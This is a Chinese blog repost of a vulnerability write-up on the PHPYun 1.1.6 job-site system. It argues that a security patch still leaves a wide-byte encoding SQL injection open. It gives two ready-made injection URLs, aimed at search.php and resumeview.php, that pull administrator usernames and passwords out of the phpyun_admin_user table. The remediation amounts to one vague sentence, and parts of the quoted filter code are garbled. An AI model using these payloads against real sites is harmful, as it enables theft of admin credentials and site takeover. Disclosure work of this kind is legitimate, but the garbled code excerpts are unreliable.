来源:自学PHP网 时间:2015-04-17 15:08 作者: 阅读:次
[导读] 昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下:function common_htmls...
昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下: function common_htmlspecialchars($str) return $str; 程序员显然认为过滤了单引号,就没有办法了。我承认用单引号引起的变量,确实是需要单引号来闭合的,但是变通一下思维,需要单引号,我不一定要靠外部引入的,例如: $sql = "select * from user where name= $name and pass=$pass" 这个sql 如果我想办法弄成 select * from user where name=縗 and pass= or 1=1-- sdf //用-- 注释掉最后的单引号,不是一样用or可以注入吗? 另外这个补丁用str_replace 过滤 and,但是如果我提交And或者aNd呢? 所以打了补丁的phpyun系统依然存在双字节编码注入漏洞,不受gpc选项影响。 测试方法: 访问www.abc.com/search.php?keyword=&provinceid=%df&cityid=%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20-&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7 或 www.abc.com/resumeview.php?uid= union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(0x40,0x23,username,0x7e,password,0x23,0x40),17 from phpyun_admin_user-- sd&e=%df 。
修复方案: Ryat牛说防止注入的思想就是最大限度的估计好变量的类型,希望程序员多多思考。 仅供技术交流。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com